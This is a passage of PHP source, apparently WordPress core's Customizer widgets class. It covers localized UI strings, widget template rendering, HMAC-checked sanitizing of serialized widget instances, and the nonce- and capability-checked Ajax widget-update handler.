		$move_widget_area_tpl = str_replace(
			array( '{description}', '{btn}' ),
			array(
				__( 'Select an area to move this widget into:' ),
				_x( 'Move', 'Move widget' ),
			),
			'<div class="move-widget-area">
				<p class="description">{description}</p>
				<ul class="widget-area-select">
					<% _.each( sidebars, function ( sidebar ){ %>
						<li class="" data-id="<%- sidebar.id %>" title="<%- sidebar.description %>" tabindex="0"><%- sidebar.name %></li>
					<% }); %>
				</ul>
				<div class="move-widget-actions">
					<button class="move-widget-btn button" type="button">{btn}</button>
				</div>
			</div>'
		);

		/*
		 * Gather all strings in PHP that may be needed by JS on the client.
		 * Once JS i18n is implemented (in #20491), this can be removed.
		 */
		$some_non_rendered_areas_messages    = array();
		$some_non_rendered_areas_messages[1] = html_entity_decode(
			__( 'Your theme has 1 other widget area, but this particular page does not display it.' ),
			ENT_QUOTES,
			get_bloginfo( 'charset' )
		);
		$registered_sidebar_count            = count( $wp_registered_sidebars );
		for ( $non_rendered_count = 2; $non_rendered_count < $registered_sidebar_count; $non_rendered_count++ ) {
			$some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode(
				sprintf(
					/* translators: %s: The number of other widget areas registered but not rendered. */
					_n(
						'Your theme has %s other widget area, but this particular page does not display it.',
						'Your theme has %s other widget areas, but this particular page does not display them.',
						$non_rendered_count
					),
					number_format_i18n( $non_rendered_count )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		}

		if ( 1 === $registered_sidebar_count ) {
			$no_areas_shown_message = html_entity_decode(
				sprintf(
					__( 'Your theme has 1 widget area, but this particular page does not display it.' )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		} else {
			$no_areas_shown_message = html_entity_decode(
				sprintf(
					/* translators: %s: The total number of widget areas registered. */
					_n(
						'Your theme has %s widget area, but this particular page does not display it.',
						'Your theme has %s widget areas, but this particular page does not display them.',
						$registered_sidebar_count
					),
					number_format_i18n( $registered_sidebar_count )
				),
				ENT_QUOTES,
				get_bloginfo( 'charset' )
			);
		}

		$settings = array(
			'registeredSidebars'          => array_values( $wp_registered_sidebars ),
			'registeredWidgets'           => $wp_registered_widgets,
			'availableWidgets'            => $available_widgets, // @todo Merge this with registered_widgets.
			'l10n'                        => array(
				'saveBtnLabel'     => __( 'Apply' ),
				'saveBtnTooltip'   => __( 'Save and preview changes before publishing them.' ),
				'removeBtnLabel'   => __( 'Remove' ),
				'removeBtnTooltip' => __( 'Keep widget settings and move it to the inactive widgets' ),
				'error'            => __( 'An error has occurred. Please reload the page and try again.' ),
				'widgetMovedUp'    => __( 'Widget moved up' ),
				'widgetMovedDown'  => __( 'Widget moved down' ),
				'navigatePreview'  => __( 'You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.' ),
				'someAreasShown'   => $some_non_rendered_areas_messages,
				'noAreasShown'     => $no_areas_shown_message,
				'reorderModeOn'    => __( 'Reorder mode enabled' ),
				'reorderModeOff'   => __( 'Reorder mode closed' ),
				'reorderLabelOn'   => esc_attr__( 'Reorder widgets' ),
				/* translators: %d: The number of widgets found. */
				'widgetsFound'     => __( 'Number of widgets found: %d' ),
				'noWidgetsFound'   => __( 'No widgets found.' ),
			),
			'tpl'                         => array(
				'widgetReorderNav' => $widget_reorder_nav_tpl,
				'moveWidgetArea'   => $move_widget_area_tpl,
			),
			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
		);

		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
			unset( $registered_widget['callback'] ); // May not be JSON-serializable.
		}

		$wp_scripts->add_data(
			'customize-widgets',
			'data',
			sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings ) )
		);

		/*
		 * TODO: Update 'wp-customize-widgets' to not rely so much on things in
		 * 'customize-widgets'. This will let us skip most of the above and not
		 * enqueue 'customize-widgets' which saves bytes.
		 */

		if ( wp_use_widgets_block_editor() ) {
			$block_editor_context = new WP_Block_Editor_Context(
				array(
					'name' => 'core/customize-widgets',
				)
			);

			$editor_settings = get_block_editor_settings(
				get_legacy_widget_block_editor_settings(),
				$block_editor_context
			);

			wp_add_inline_script(
				'wp-customize-widgets',
				sprintf(
					'wp.domReady( function() {
					   wp.customizeWidgets.initialize( "widgets-customizer", %s );
					} );',
					wp_json_encode( $editor_settings )
				)
			);

			// Preload server-registered block schemas.
			wp_add_inline_script(
				'wp-blocks',
				'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings() ) . ');'
			);

			wp_add_inline_script(
				'wp-blocks',
				sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ) ) ),
				'after'
			);

			wp_enqueue_script( 'wp-customize-widgets' );
			wp_enqueue_style( 'wp-customize-widgets' );

			/** This action is documented in edit-form-blocks.php */
			do_action( 'enqueue_block_editor_assets' );
		}
	}

	/**
	 * Renders the widget form control templates into the DOM.
	 *
	 * @since 3.9.0
	 */
	public function output_widget_control_templates() {
		?>
		<div id="widgets-left"><!-- compatibility with JS which looks for widget templates here -->
		<div id="available-widgets">
			<div class="customize-section-title">
				<button class="customize-section-back" tabindex="-1">
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Back' );
						?>
					</span>
				</button>
				<h3>
					<span class="customize-action">
					<?php
						/* translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer. */
						printf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'widgets' )->title ) );
					?>
					</span>
					<?php _e( 'Add a Widget' ); ?>
				</h3>
			</div>
			<div id="available-widgets-filter">
				<label class="screen-reader-text" for="widgets-search">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search Widgets' );
					?>
				</label>
				<input type="text" id="widgets-search" placeholder="<?php esc_attr_e( 'Search widgets&hellip;' ); ?>" aria-describedby="widgets-search-desc" />
				<div class="search-icon" aria-hidden="true"></div>
				<button type="button" class="clear-results"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Clear Results' );
					?>
				</span></button>
				<p class="screen-reader-text" id="widgets-search-desc">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'The search results will be updated as you type.' );
					?>
				</p>
			</div>
			<div id="available-widgets-list">
			<?php foreach ( $this->get_available_widgets() as $available_widget ) : ?>
				<div id="widget-tpl-<?php echo esc_attr( $available_widget['id'] ); ?>" data-widget-id="<?php echo esc_attr( $available_widget['id'] ); ?>" class="widget-tpl <?php echo esc_attr( $available_widget['id'] ); ?>" tabindex="0">
					<?php echo $available_widget['control_tpl']; ?>
				</div>
			<?php endforeach; ?>
			<p class="no-widgets-found-message"><?php _e( 'No widgets found.' ); ?></p>
			</div><!-- #available-widgets-list -->
		</div><!-- #available-widgets -->
		</div><!-- #widgets-left -->
		<?php
	}

	/**
	 * Calls admin_print_footer_scripts and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_footer_scripts() {
		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_print_footer_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_print_footer_scripts' );

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( 'admin_footer-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	/**
	 * Retrieves common arguments to supply when constructing a Customizer setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string $id        Widget setting ID.
	 * @param array  $overrides Array of setting overrides.
	 * @return array Possibly modified setting arguments.
	 */
	public function get_setting_args( $id, $overrides = array() ) {
		$args = array(
			'type'       => 'option',
			'capability' => 'edit_theme_options',
			'default'    => array(),
		);

		if ( preg_match( $this->setting_id_patterns['sidebar_widgets'], $id, $matches ) ) {
			$args['sanitize_callback']    = array( $this, 'sanitize_sidebar_widgets' );
			$args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' );
			$args['transport']            = current_theme_supports( 'customize-selective-refresh-widgets' ) ? 'postMessage' : 'refresh';
		} elseif ( preg_match( $this->setting_id_patterns['widget_instance'], $id, $matches ) ) {
			$id_base                      = $matches['id_base'];
			$args['sanitize_callback']    = function ( $value ) use ( $id_base ) {
				return $this->sanitize_widget_instance( $value, $id_base );
			};
			$args['sanitize_js_callback'] = function ( $value ) use ( $id_base ) {
				return $this->sanitize_widget_js_instance( $value, $id_base );
			};
			$args['transport']            = $this->is_widget_selective_refreshable( $matches['id_base'] ) ? 'postMessage' : 'refresh';
		}

		$args = array_merge( $args, $overrides );

		/**
		 * Filters the common arguments supplied when constructing a Customizer setting.
		 *
		 * @since 3.9.0
		 *
		 * @see WP_Customize_Setting
		 *
		 * @param array  $args Array of Customizer setting arguments.
		 * @param string $id   Widget setting ID.
		 */
		return apply_filters( 'widget_customizer_setting_args', $args, $id );
	}

	/**
	 * Ensures sidebar widget arrays only ever contain widget IDS.
	 *
	 * Used as the 'sanitize_callback' for each $sidebars_widgets setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string[] $widget_ids Array of widget IDs.
	 * @return string[] Array of sanitized widget IDs.
	 */
	public function sanitize_sidebar_widgets( $widget_ids ) {
		$widget_ids           = array_map( 'strval', (array) $widget_ids );
		$sanitized_widget_ids = array();
		foreach ( $widget_ids as $widget_id ) {
			$sanitized_widget_ids[] = preg_replace( '/[^a-z0-9_\-]/', '', $widget_id );
		}
		return $sanitized_widget_ids;
	}

	/**
	 * Builds up an index of all available widgets for use in Backbone models.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 *
	 * @see wp_list_widgets()
	 *
	 * @return array List of available widgets.
	 */
	public function get_available_widgets() {
		static $available_widgets = array();
		if ( ! empty( $available_widgets ) ) {
			return $available_widgets;
		}

		global $wp_registered_widgets, $wp_registered_widget_controls;
		require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number().

		$sort = $wp_registered_widgets;
		usort( $sort, array( $this, '_sort_name_callback' ) );
		$done = array();

		foreach ( $sort as $widget ) {
			if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget.
				continue;
			}

			$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
			$done[]  = $widget['callback'];

			if ( ! isset( $widget['params'][0] ) ) {
				$widget['params'][0] = array();
			}

			$available_widget = $widget;
			unset( $available_widget['callback'] ); // Not serializable to JSON.

			$args = array(
				'widget_id'   => $widget['id'],
				'widget_name' => $widget['name'],
				'_display'    => 'template',
			);

			$is_disabled     = false;
			$is_multi_widget = ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) );
			if ( $is_multi_widget ) {
				$id_base            = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
				$args['_temp_id']   = "$id_base-__i__";
				$args['_multi_num'] = next_widget_id_number( $id_base );
				$args['_add']       = 'multi';
			} else {
				$args['_add'] = 'single';

				if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) {
					$is_disabled = true;
				}
				$id_base = $widget['id'];
			}

			$list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar(
				array(
					0 => $args,
					1 => $widget['params'][0],
				)
			);
			$control_tpl               = $this->get_widget_control( $list_widget_controls_args );

			// The properties here are mapped to the Backbone Widget model.
			$available_widget = array_merge(
				$available_widget,
				array(
					'temp_id'      => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null,
					'is_multi'     => $is_multi_widget,
					'control_tpl'  => $control_tpl,
					'multi_number' => ( 'multi' === $args['_add'] ) ? $args['_multi_num'] : false,
					'is_disabled'  => $is_disabled,
					'id_base'      => $id_base,
					'transport'    => $this->is_widget_selective_refreshable( $id_base ) ? 'postMessage' : 'refresh',
					'width'        => $wp_registered_widget_controls[ $widget['id'] ]['width'],
					'height'       => $wp_registered_widget_controls[ $widget['id'] ]['height'],
					'is_wide'      => $this->is_wide_widget( $widget['id'] ),
				)
			);

			$available_widgets[] = $available_widget;
		}

		return $available_widgets;
	}

	/**
	 * Naturally orders available widgets by name.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget_a The first widget to compare.
	 * @param array $widget_b The second widget to compare.
	 * @return int Reorder position for the current widget comparison.
	 */
	protected function _sort_name_callback( $widget_a, $widget_b ) {
		return strnatcasecmp( $widget_a['name'], $widget_b['name'] );
	}

	/**
	 * Retrieves the widget control markup.
	 *
	 * @since 3.9.0
	 *
	 * @param array $args Widget control arguments.
	 * @return string Widget control form HTML markup.
	 */
	public function get_widget_control( $args ) {
		$args[0]['before_form']           = '<div class="form">';
		$args[0]['after_form']            = '</div><!-- .form -->';
		$args[0]['before_widget_content'] = '<div class="widget-content">';
		$args[0]['after_widget_content']  = '</div><!-- .widget-content -->';
		ob_start();
		wp_widget_control( ...$args );
		$control_tpl = ob_get_clean();
		return $control_tpl;
	}

	/**
	 * Retrieves the widget control markup parts.
	 *
	 * @since 4.4.0
	 *
	 * @param array $args Widget control arguments.
	 * @return array {
	 *     @type string $control Markup for widget control wrapping form.
	 *     @type string $content The contents of the widget form itself.
	 * }
	 */
	public function get_widget_control_parts( $args ) {
		$args[0]['before_widget_content'] = '<div class="widget-content">';
		$args[0]['after_widget_content']  = '</div><!-- .widget-content -->';
		$control_markup                   = $this->get_widget_control( $args );

		$content_start_pos = strpos( $control_markup, $args[0]['before_widget_content'] );
		$content_end_pos   = strrpos( $control_markup, $args[0]['after_widget_content'] );

		$control  = substr( $control_markup, 0, $content_start_pos + strlen( $args[0]['before_widget_content'] ) );
		$control .= substr( $control_markup, $content_end_pos );
		$content  = trim(
			substr(
				$control_markup,
				$content_start_pos + strlen( $args[0]['before_widget_content'] ),
				$content_end_pos - $content_start_pos - strlen( $args[0]['before_widget_content'] )
			)
		);

		return compact( 'control', 'content' );
	}

	/**
	 * Adds hooks for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_init() {
		add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) );
		add_action( 'wp_print_styles', array( $this, 'print_preview_css' ), 1 );
		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 20 );
	}

	/**
	 * Refreshes the nonce for widget updates.
	 *
	 * @since 4.2.0
	 *
	 * @param array $nonces Array of nonces.
	 * @return array Array of nonces.
	 */
	public function refresh_nonces( $nonces ) {
		$nonces['update-widget'] = wp_create_nonce( 'update-widget' );
		return $nonces;
	}

	/**
	 * Tells the script loader to load the scripts and styles of custom blocks
	 * if the widgets block editor is enabled.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $is_block_editor_screen Current decision about loading block assets.
	 * @return bool Filtered decision about loading block assets.
	 */
	public function should_load_block_editor_scripts_and_styles( $is_block_editor_screen ) {
		if ( wp_use_widgets_block_editor() ) {
			return true;
		}

		return $is_block_editor_screen;
	}

	/**
	 * When previewing, ensures the proper previewing widgets are used.
	 *
	 * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via
	 * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets`
	 * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview
	 * filter is added, it has to be reset after the filter has been added.
	 *
	 * @since 3.9.0
	 *
	 * @param array $sidebars_widgets List of widgets for the current sidebar.
	 * @return array
	 */
	public function preview_sidebars_widgets( $sidebars_widgets ) {
		$sidebars_widgets = get_option( 'sidebars_widgets', array() );

		unset( $sidebars_widgets['array_version'] );
		return $sidebars_widgets;
	}

	/**
	 * Enqueues scripts for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_enqueue() {
		wp_enqueue_script( 'customize-preview-widgets' );
	}

	/**
	 * Inserts default style for highlighted widget at early point so theme
	 * stylesheet can override.
	 *
	 * @since 3.9.0
	 */
	public function print_preview_css() {
		?>
		<style>
		.widget-customizer-highlighted-widget {
			outline: none;
			-webkit-box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			position: relative;
			z-index: 1;
		}
		</style>
		<?php
	}

	/**
	 * Communicates the sidebars that appeared on the page at the very end of the page,
	 * and at the very end of the wp_footer,
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function export_preview_data() {
		global $wp_registered_sidebars, $wp_registered_widgets;

		$switched_locale = switch_to_user_locale( get_current_user_id() );

		$l10n = array(
			'widgetTooltip' => __( 'Shift-click to edit this widget.' ),
		);

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$rendered_sidebars = array_filter( $this->rendered_sidebars );
		$rendered_widgets  = array_filter( $this->rendered_widgets );

		// Prepare Customizer settings to pass to JavaScript.
		$settings = array(
			'renderedSidebars'            => array_fill_keys( array_keys( $rendered_sidebars ), true ),
			'renderedWidgets'             => array_fill_keys( array_keys( $rendered_widgets ), true ),
			'registeredSidebars'          => array_values( $wp_registered_sidebars ),
			'registeredWidgets'           => $wp_registered_widgets,
			'l10n'                        => $l10n,
			'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(),
		);

		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
			unset( $registered_widget['callback'] ); // May not be JSON-serializable.
		}
		wp_print_inline_script_tag(
			sprintf( 'var _wpWidgetCustomizerPreviewSettings = %s;', wp_json_encode( $settings ) )
		);
	}

	/**
	 * Tracks the widgets that were rendered.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget Rendered widget to tally.
	 */
	public function tally_rendered_widgets( $widget ) {
		$this->rendered_widgets[ $widget['id'] ] = true;
	}

	/**
	 * Determine if a widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $widget_id Widget ID to check.
	 * @return bool Whether the widget is rendered.
	 */
	public function is_widget_rendered( $widget_id ) {
		return ! empty( $this->rendered_widgets[ $widget_id ] );
	}

	/**
	 * Determines if a sidebar is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $sidebar_id Sidebar ID to check.
	 * @return bool Whether the sidebar is rendered.
	 */
	public function is_sidebar_rendered( $sidebar_id ) {
		return ! empty( $this->rendered_sidebars[ $sidebar_id ] );
	}

	/**
	 * Tallies the sidebars rendered via is_active_sidebar().
	 *
	 * Keep track of the times that is_active_sidebar() is called in the template,
	 * and assume that this means that the sidebar would be rendered on the template
	 * if there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $is_active  Whether the sidebar is active.
	 * @param string $sidebar_id Sidebar ID.
	 * @return bool Whether the sidebar is active.
	 */
	public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this->rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for 'dynamic_sidebar_has_widgets' if we want to ensure that there
		 * is an area to drop widgets into, if the sidebar is empty.
		 */
		return $is_active;
	}

	/**
	 * Tallies the sidebars rendered via dynamic_sidebar().
	 *
	 * Keep track of the times that dynamic_sidebar() is called in the template,
	 * and assume this means the sidebar would be rendered on the template if
	 * there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $has_widgets Whether the current sidebar has widgets.
	 * @param string $sidebar_id  Sidebar ID.
	 * @return bool Whether the current sidebar has widgets.
	 */
	public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this->rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for 'is_active_sidebar' if we want to ensure there is an area to
		 * drop widgets into, if the sidebar is empty.
		 */
		return $has_widgets;
	}

	/**
	 * Retrieves MAC for a serialized widget instance string.
	 *
	 * Allows values posted back from JS to be rejected if any tampering of the
	 * data has occurred.
	 *
	 * @since 3.9.0
	 *
	 * @param string $serialized_instance Widget instance.
	 * @return string MAC for serialized widget instance.
	 */
	protected function get_instance_hash_key( $serialized_instance ) {
		return wp_hash( $serialized_instance );
	}

	/**
	 * Sanitizes a widget instance.
	 *
	 * Unserialize the JS-instance for storing in the options. It's important that this filter
	 * only get applied to an instance *once*.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to sanitize.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array|void Sanitized widget instance.
	 */
	public function sanitize_widget_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( array() === $value ) {
			return $value;
		}

		if ( isset( $value['raw_instance'] ) && $id_base && wp_use_widgets_block_editor() ) {
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
				if ( 'block' === $id_base && ! current_user_can( 'unfiltered_html' ) ) {
					/*
					 * The content of the 'block' widget is not filtered on the fly while editing.
					 * Filter the content here to prevent vulnerabilities.
					 */
					$value['raw_instance']['content'] = wp_kses_post( $value['raw_instance']['content'] );
				}

				return $value['raw_instance'];
			}
		}

		if (
			empty( $value['is_widget_customizer_js_value'] ) ||
			empty( $value['instance_hash_key'] ) ||
			empty( $value['encoded_serialized_instance'] )
		) {
			return;
		}

		$decoded = base64_decode( $value['encoded_serialized_instance'], true );
		if ( false === $decoded ) {
			return;
		}

		if ( ! hash_equals( $this->get_instance_hash_key( $decoded ), $value['instance_hash_key'] ) ) {
			return;
		}

		$instance = unserialize( $decoded );
		if ( false === $instance ) {
			return;
		}

		return $instance;
	}

	/**
	 * Converts a widget instance into JSON-representable format.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to convert to JSON.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array JSON-converted widget instance.
	 */
	public function sanitize_widget_js_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( empty( $value['is_widget_customizer_js_value'] ) ) {
			$serialized = serialize( $value );

			$js_value = array(
				'encoded_serialized_instance'   => base64_encode( $serialized ),
				'title'                         => empty( $value['title'] ) ? '' : $value['title'],
				'is_widget_customizer_js_value' => true,
				'instance_hash_key'             => $this->get_instance_hash_key( $serialized ),
			);

			if ( $id_base && wp_use_widgets_block_editor() ) {
				$widget_object = $wp_widget_factory->get_widget_object( $id_base );
				if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					$js_value['raw_instance'] = (object) $value;
				}
			}

			return $js_value;
		}

		return $value;
	}

	/**
	 * Strips out widget IDs for widgets which are no longer registered.
	 *
	 * One example where this might happen is when a plugin orphans a widget
	 * in a sidebar upon deactivation.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 *
	 * @param array $widget_ids List of widget IDs.
	 * @return array Parsed list of widget IDs.
	 */
	public function sanitize_sidebar_widgets_js_instance( $widget_ids ) {
		global $wp_registered_widgets;
		$widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) );
		return $widget_ids;
	}

	/**
	 * Finds and invokes the widget update and control callbacks.
	 *
	 * Requires that `$_POST` be populated with the instance data.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_updates
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return array|WP_Error Array containing the updated widget information.
	 *                        A WP_Error object, otherwise.
	 */
	public function call_widget_update( $widget_id ) {
		global $wp_registered_widget_updates, $wp_registered_widget_controls;

		$setting_id = $this->get_setting_id( $widget_id );

		/*
		 * Make sure that other setting changes have previewed since this widget
		 * may depend on them (e.g. Menus being present for Navigation Menu widget).
		 */
		if ( ! did_action( 'customize_preview_init' ) ) {
			foreach ( $this->manager->settings() as $setting ) {
				if ( $setting->id !== $setting_id ) {
					$setting->preview();
				}
			}
		}

		$this->start_capturing_option_updates();
		$parsed_id   = $this->parse_widget_id( $widget_id );
		$option_name = 'widget_' . $parsed_id['id_base'];

		/*
		 * If a previously-sanitized instance is provided, populate the input vars
		 * with its values so that the widget update callback will read this instance
		 */
		$added_input_vars = array();
		if ( ! empty( $_POST['sanitized_widget_setting'] ) ) {
			$sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true );
			if ( false === $sanitized_widget_setting ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_malformed' );
			}

			$instance = $this->sanitize_widget_instance( $sanitized_widget_setting, $parsed_id['id_base'] );
			if ( is_null( $instance ) ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_unsanitized' );
			}

			if ( ! is_null( $parsed_id['number'] ) ) {
				$value                         = array();
				$value[ $parsed_id['number'] ] = $instance;
				$key                           = 'widget-' . $parsed_id['id_base'];
				$_REQUEST[ $key ]              = wp_slash( $value );
				$_POST[ $key ]                 = $_REQUEST[ $key ];
				$added_input_vars[]            = $key;
			} else {
				foreach ( $instance as $key => $value ) {
					$_REQUEST[ $key ]   = wp_slash( $value );
					$_POST[ $key ]      = $_REQUEST[ $key ];
					$added_input_vars[] = $key;
				}
			}
		}

		// Invoke the widget update callback.
		foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
			if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) {
				ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
				ob_end_clean();
				break;
			}
		}

		// Clean up any input vars that were manually added.
		foreach ( $added_input_vars as $key ) {
			unset( $_POST[ $key ] );
			unset( $_REQUEST[ $key ] );
		}

		// Make sure the expected option was updated.
		if ( 0 !== $this->count_captured_options() ) {
			if ( $this->count_captured_options() > 1 ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_too_many_options' );
			}

			$updated_option_name = key( $this->get_captured_options() );
			if ( $updated_option_name !== $option_name ) {
				$this->stop_capturing_option_updates();
				return new WP_Error( 'widget_setting_unexpected_option' );
			}
		}

		// Obtain the widget instance.
		$option = $this->get_captured_option( $option_name );
		if ( null !== $parsed_id['number'] ) {
			$instance = $option[ $parsed_id['number'] ];
		} else {
			$instance = $option;
		}

		/*
		 * Override the incoming $_POST['customized'] for a newly-created widget's
		 * setting with the new $instance so that the preview filter currently
		 * in place from WP_Customize_Setting::preview() will use this value
		 * instead of the default widget instance value (an empty array).
		 */
		$this->manager->set_post_value( $setting_id, $this->sanitize_widget_js_instance( $instance, $parsed_id['id_base'] ) );

		// Obtain the widget control with the updated instance in place.
		ob_start();
		$form = $wp_registered_widget_controls[ $widget_id ];
		if ( $form ) {
			call_user_func_array( $form['callback'], $form['params'] );
		}
		$form = ob_get_clean();

		$this->stop_capturing_option_updates();

		return compact( 'instance', 'form' );
	}

	/**
	 * Updates widget settings asynchronously.
	 *
	 * Allows the Customizer to update a widget using its form, but return the new
	 * instance info via Ajax instead of saving it to the options table.
	 *
	 * Most code here copied from wp_ajax_save_widget().
	 *
	 * @since 3.9.0
	 *
	 * @see wp_ajax_save_widget()
	 */
	public function wp_ajax_update_widget() {

		if ( ! is_user_logged_in() ) {
			wp_die( 0 );
		}

		check_ajax_referer( 'update-widget', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( -1 );
		}

		if ( empty( $_POST['widget-id'] ) ) {
			wp_send_json_error( 'missing_widget-id' );
		}

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'sidebar_admin_setup' );

		$widget_id = $this->get_post_value( 'widget-id' );
		$parsed_id = $this->parse_widget_id( $widget_id );
		$id_base   = $parsed_id['id_base'];

		$is_updating_widget_template = (
			isset( $_POST[ 'widget-' . $id_base ] )
			&&
			is_array( $_POST[ 'widget-' . $id_base ] )
			&&
			preg_match( '/__i__|%i%/', key( $_POST[ 'widget-' . $id_base ] ) )
		);
		if ( $is_updating_widget_template ) {
			wp_send_json_error( 'template_widget_not_updatable' );
		}

		$updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form}
		if ( is_wp_error( $updated_widget ) ) {
			wp_send_json_error( $updated_widget->get_error_code() );
		}

		$form     = $updated_widget['form'];
		$instance = $this->sanitize_widget_js_instance( $updated_widget['instance'], $id_base );

		wp_send_json_success( compact( 'form', 'instance' ) );
	}

	/*
	 * Selective Refresh Methods
	 */

	/**
	 * Filters arguments for dynamic widget partials.
	 *
	 * @since 4.5.0
	 *
	 * @param array|false $partial_args Partial arguments.
	 * @param string      $partial_id   Partial ID.
	 * @return array (Maybe) modified partial arguments.
	 */
	public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return $partial_args;
		}

		if ( preg_match( '/^widget\[(?P<widget_id>.+)\]$/', $partial_id, $matches ) ) {
			if ( false === $partial_args ) {
				$partial_args = array();
			}
			$partial_args = array_merge(
				$partial_args,
				array(
					'type'                => 'widget',
					'render_callback'     => array( $this, 'render_widget_partial' ),
					'container_inclusive' => true,
					'settings'            => array( $this->get_setting_id( $matches['widget_id'] ) ),
					'capability'          => 'edit_theme_options',
				)
			);
		}

		return $partial_args;
	}

	/**
	 * Adds hooks for selective refresh.
	 *
	 * @since 4.5.0
	 */
	public function selective_refresh_init() {
